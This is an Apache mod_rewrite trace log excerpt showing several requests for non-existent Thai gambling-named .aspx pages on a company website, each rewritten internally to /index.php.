[Mon Nov 10 18:38:51.380619 2025] [rewrite:trace3] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/pg slot auto.aspx -> pg slot auto.aspx
[Mon Nov 10 18:38:51.380690 2025] [rewrite:trace3] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.*' to uri 'pg slot auto.aspx'
[Mon Nov 10 18:38:51.380708 2025] [rewrite:trace5] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:38:51.380718 2025] [rewrite:trace3] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/pg slot auto.aspx -> pg slot auto.aspx
[Mon Nov 10 18:38:51.380727 2025] [rewrite:trace3] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] applying pattern '^index\\.php$' to uri 'pg slot auto.aspx'
[Mon Nov 10 18:38:51.380737 2025] [rewrite:trace3] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/pg slot auto.aspx -> pg slot auto.aspx
[Mon Nov 10 18:38:51.380746 2025] [rewrite:trace3] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.' to uri 'pg slot auto.aspx'
[Mon Nov 10 18:38:51.380762 2025] [rewrite:trace4] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/pg slot auto.aspx' pattern='!-f' => matched
[Mon Nov 10 18:38:51.380774 2025] [rewrite:trace4] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/pg slot auto.aspx' pattern='!-d' => matched
[Mon Nov 10 18:38:51.380783 2025] [rewrite:trace2] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] rewrite 'pg slot auto.aspx' -> '/index.php'
[Mon Nov 10 18:38:51.380795 2025] [rewrite:trace2] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:38:51.380805 2025] [rewrite:trace2] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] trying to replace prefix /home/rcacivils/public_html/ with /
[Mon Nov 10 18:38:51.380815 2025] [rewrite:trace2] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] trying to replace context docroot /home/rcacivils/public_html with context prefix 
[Mon Nov 10 18:38:51.380824 2025] [rewrite:trace1] [pid 9353:tid 9363] mod_rewrite.c(505): [client 98.83.177.42:5953] 98.83.177.42 - - [rcacivilgroup.com/sid#1d60698][rid#7f5dac01a1f0/initial] [perdir /home/rcacivils/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:38:56.609112 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx -> 24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx
[Mon Nov 10 18:38:56.609163 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] applying pattern '.*' to uri '24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx'
[Mon Nov 10 18:38:56.609180 2025] [rewrite:trace5] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:38:56.609191 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx -> 24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx
[Mon Nov 10 18:38:56.609201 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] applying pattern '^index\\.php$' to uri '24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx'
[Mon Nov 10 18:38:56.609211 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx -> 24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx
[Mon Nov 10 18:38:56.609221 2025] [rewrite:trace3] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] applying pattern '.' to uri '24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx'
[Mon Nov 10 18:38:56.609237 2025] [rewrite:trace4] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx' pattern='!-f' => matched
[Mon Nov 10 18:38:56.609250 2025] [rewrite:trace4] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx' pattern='!-d' => matched
[Mon Nov 10 18:38:56.609259 2025] [rewrite:trace2] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] rewrite '24 \xe0\xb8\xab\xe0\xb8\xa7\xe0\xb8\xa2.aspx' -> '/index.php'
[Mon Nov 10 18:38:56.609272 2025] [rewrite:trace2] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:38:56.609282 2025] [rewrite:trace2] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] trying to replace prefix /home/rcacivils/public_html/ with /
[Mon Nov 10 18:38:56.609292 2025] [rewrite:trace2] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] trying to replace context docroot /home/rcacivils/public_html with context prefix 
[Mon Nov 10 18:38:56.609347 2025] [rewrite:trace1] [pid 9264:tid 9327] mod_rewrite.c(505): [client 54.83.240.58:39907] 54.83.240.58 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da4049790/initial] [perdir /home/rcacivils/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:38:59.435580 2025] [rewrite:trace3] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx
[Mon Nov 10 18:38:59.435650 2025] [rewrite:trace3] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] applying pattern '.*' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx'
[Mon Nov 10 18:38:59.435678 2025] [rewrite:trace5] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:38:59.435701 2025] [rewrite:trace3] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx
[Mon Nov 10 18:38:59.435717 2025] [rewrite:trace3] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] applying pattern '^index\\.php$' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx'
[Mon Nov 10 18:38:59.435734 2025] [rewrite:trace3] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx
[Mon Nov 10 18:38:59.435750 2025] [rewrite:trace3] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] applying pattern '.' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx'
[Mon Nov 10 18:38:59.435778 2025] [rewrite:trace4] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx' pattern='!-f' => matched
[Mon Nov 10 18:38:59.435808 2025] [rewrite:trace4] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx' pattern='!-d' => matched
[Mon Nov 10 18:38:59.435824 2025] [rewrite:trace2] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] rewrite '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x8a\xe0\xb8\xad\xe0\xb8\x95.aspx' -> '/index.php'
[Mon Nov 10 18:38:59.435846 2025] [rewrite:trace2] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:38:59.435883 2025] [rewrite:trace2] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] trying to replace prefix /home/rcacivils/public_html/ with /
[Mon Nov 10 18:38:59.435900 2025] [rewrite:trace2] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] trying to replace context docroot /home/rcacivils/public_html with context prefix 
[Mon Nov 10 18:38:59.435914 2025] [rewrite:trace1] [pid 9264:tid 9338] mod_rewrite.c(505): [client 3.223.181.32:56180] 3.223.181.32 - - [rcacivilgroup.com/sid#1d60698][rid#7f5d44016a70/initial] [perdir /home/rcacivils/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:39:05.301357 2025] [rewrite:trace3] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx
[Mon Nov 10 18:39:05.301395 2025] [rewrite:trace3] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.*' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx'
[Mon Nov 10 18:39:05.301414 2025] [rewrite:trace5] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:39:05.301426 2025] [rewrite:trace3] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx
[Mon Nov 10 18:39:05.301436 2025] [rewrite:trace3] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] applying pattern '^index\\.php$' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx'
[Mon Nov 10 18:39:05.301447 2025] [rewrite:trace3] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx -> \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx
[Mon Nov 10 18:39:05.301462 2025] [rewrite:trace3] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.' to uri '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx'
[Mon Nov 10 18:39:05.301483 2025] [rewrite:trace4] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx' pattern='!-f' => matched
[Mon Nov 10 18:39:05.301503 2025] [rewrite:trace4] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx' pattern='!-d' => matched
[Mon Nov 10 18:39:05.301537 2025] [rewrite:trace2] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] rewrite '\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95joker.aspx' -> '/index.php'
[Mon Nov 10 18:39:05.301552 2025] [rewrite:trace2] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:39:05.301562 2025] [rewrite:trace2] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] trying to replace prefix /home/rcacivils/public_html/ with /
[Mon Nov 10 18:39:05.301572 2025] [rewrite:trace2] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] trying to replace context docroot /home/rcacivils/public_html with context prefix 
[Mon Nov 10 18:39:05.301581 2025] [rewrite:trace1] [pid 9263:tid 9312] mod_rewrite.c(505): [client 44.205.180.155:54394] 44.205.180.155 - - [rcacivilgroup.com/sid#1d60698][rid#7f5da40175c0/initial] [perdir /home/rcacivils/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:39:21.965933 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx -> \xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx
[Mon Nov 10 18:39:21.965985 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.*' to uri '\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx'
[Mon Nov 10 18:39:21.966004 2025] [rewrite:trace5] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:39:21.966016 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx -> \xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx
[Mon Nov 10 18:39:21.966026 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '^index\\.php$' to uri '\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx'
[Mon Nov 10 18:39:21.966055 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx -> \xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx
[Mon Nov 10 18:39:21.966067 2025] [rewrite:trace3] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.' to uri '\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx'
[Mon Nov 10 18:39:21.966084 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx' pattern='!-f' => matched
[Mon Nov 10 18:39:21.966104 2025] [rewrite:trace4] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx' pattern='!-d' => matched
